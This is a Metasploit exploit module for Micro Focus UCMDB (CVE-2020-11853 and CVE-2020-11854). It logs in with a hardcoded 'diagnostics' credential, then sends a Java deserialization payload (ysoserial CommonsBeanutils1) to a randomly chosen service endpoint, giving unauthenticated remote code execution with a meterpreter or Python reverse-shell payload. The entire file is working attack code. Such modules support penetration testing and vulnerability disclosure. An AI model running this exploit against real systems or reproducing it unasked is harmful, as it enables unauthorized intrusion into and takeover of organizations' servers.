##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::JavaDeserialization

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits two vulnerabilities, that when chained allow an attacker
          to achieve unauthenticated remote code execution in Micro Focus UCMDB.
          UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected,
          but this module can probably also be used to exploit Operations Bridge Manager
          (containerized) and Application Performance Management.
          Check the advisory and module documentation for details.
          The first vulnerability is a hardcoded password for the "diagnostics" user, which
          allows us to login to UCMDB. The second vulnerability is a run-of-the-mill Java
          deserialization, which can be exploited with ysoserial's CommonsBeanutils1 payload.
          Both Windows and Linux installations are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
          [ 'CVE', '2020-11853'],
          [ 'CVE', '2020-11854'],
          [ 'ZDI', '20-1287'],
          [ 'ZDI', '20-1288'],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'WfsDelay' => 15
        },
        # unfortunately could not find a way to determine target automatically
        'Targets' => [
          [
            'Windows',
            {
              'Platform' => 'win',
              'DefaultOptions' =>
              { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
            },
          ],
          [
            'Linux',
            {
              'Platform' => 'unix',
              'Arch' => [ARCH_CMD],
              'DefaultOptions' =>
              { 'PAYLOAD' => 'cmd/unix/reverse_python' }
            },
          ]
        ],
        'DisclosureDate' => '2020-10-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8443),
        OptString.new('TARGETURI', [ true, 'Base UCMDB path', '/']),
        OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
      ]
    )
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ucmdb-api', 'connect'),
      'method' => 'GET'
    })
    unless res
      return Exploit::CheckCode::Unknown('No response received from the target')
    end

    if res.code == 200 && res.body.include?('HttpUcmdbServiceProviderFactoryImpl')
      if res.body.include?('ServerVersion=11.6.0')
        # 100% sure this version is vulnerable
        return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
      end

      return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
    end

    return Exploit::CheckCode::Safe('UCMDB service not detected in the response')
  end

  def exploit
    print_status("#{peer} - Attacking #{target.name} target")

    # First, let's authenticate
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', 'cms', 'loginRequest.do;'),
      'method' => 'POST',
      'vars_post' => {
        'customerID' => '1',
        'isEncoded' => 'false',
        'userName' => 'diagnostics',
        'password' => 'YWRtaW4=',
        'ldapServerName' => 'UCMDB'
      }
    })
    unless res && res.code == 200 && res.get_cookies.include?('LWSSO_COOKIE_KEY')
      fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate with the diagnostics user!")
    end
    cookies = res.get_cookies
    print_good("#{peer} - Succesfully authenticated and obtained our cookie!")

    # Now let's pick a random service since we have so many to choose from :D
    vuln_service = [
      'services/CmdbOperationExecuterService',
      'services/CategoryFacadeForGui',
      'services/CorrelationFacadeForGui',
      'services/CorrelationRunnerFacade',
      'services/PackageFacadeForGui',
      'services/SchedulerFacadeForGui',
      'services/FoldersFacade',
      'services/BusinessModelFacadeForGui',
      'services/WatchServerAPI',
      'services/TopologyService',
      'services/ReportService',
      'services/CMSImagesService',
      'services/PatternService',
      'services/FolderService',
      'services/RelatedCIsService',
      'services/MailService',
      'services/DiscoveryService',
      'services/ServiceDiscoveryService',
      'services/SoftwareLibraryService',
      'services/DataAcquisitionService',
      'services/CIService',
      'services/HistoryService',
      'services/BundleService',
      'services/LocationService',
      'services/SchedulerService',
      'services/ImpactService',
      'services/CommonService',
      'services/PermissionsService',
      'services/ClassModelService',
      'services/SnapshotService',
      'services/LDAPService',
      'services/CITService',
      'services/MultiTenancyService',
      'services/SecurityService',
      'services/ResourceManagementService',
      'services/AutomationMappingService',
      'services/LicensingService',
      'services/GenericAdapterService'
    ].sample

    # Simple as
    java_payload = generate_java_deserialization_for_payload('CommonsBeanutils1', payload)

    print_status("#{peer} - Sending payload to /#{vuln_service}")

    res = send_request_raw({
      'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', vuln_service),
      'method' => 'POST',
      'cookie' => cookies,
      'headers' => { 'Content-Type' => 'application/x-java-serialized-object' },
      'data' => java_payload
    })

    if res && res.code == 500
      print_good("#{peer} - Success, shell incoming!")
      handler
    else
      print_error("#{peer} - Something failed, try again?")
    end
  end
end